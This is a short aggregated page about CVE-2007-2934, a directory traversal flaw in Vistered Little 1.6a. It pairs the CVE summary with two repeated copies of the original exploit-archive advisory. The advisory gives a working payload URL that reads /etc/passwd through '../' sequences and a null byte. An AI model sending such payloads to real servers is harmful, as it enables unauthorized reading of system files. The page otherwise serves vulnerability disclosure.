CVE-2007-2934: Undefined Security Weakness

Directory traversal vulnerability in skins/common.css.php in Vistered Little 1.6a allows remote attackers to read arbitrary files via a .. dot dot in the skin parameter...

vistered-disclose.txt

Vistered Little 1.6a Remote File Disclosure Vulnerability Page Script : http://windyroad.org/vistered-little-1.6a.zip Exploit : path/skins/common.css.php?skin=../../../../../../etc/passwd%00 Discovered by: Mahmoodali...

Vistered Little 1.6a - 'skin' Remote File Disclosure

Vistered Little 1.6a Remote File Disclosure Vulnerability Page Script : http://windyroad.org/vistered-little-1.6a.zip Exploit : path/skins/common.css.php?skin=../../../../../../etc/passwd%00 Discovered by: Mahmoodali milw0rm.com 2007-05-28...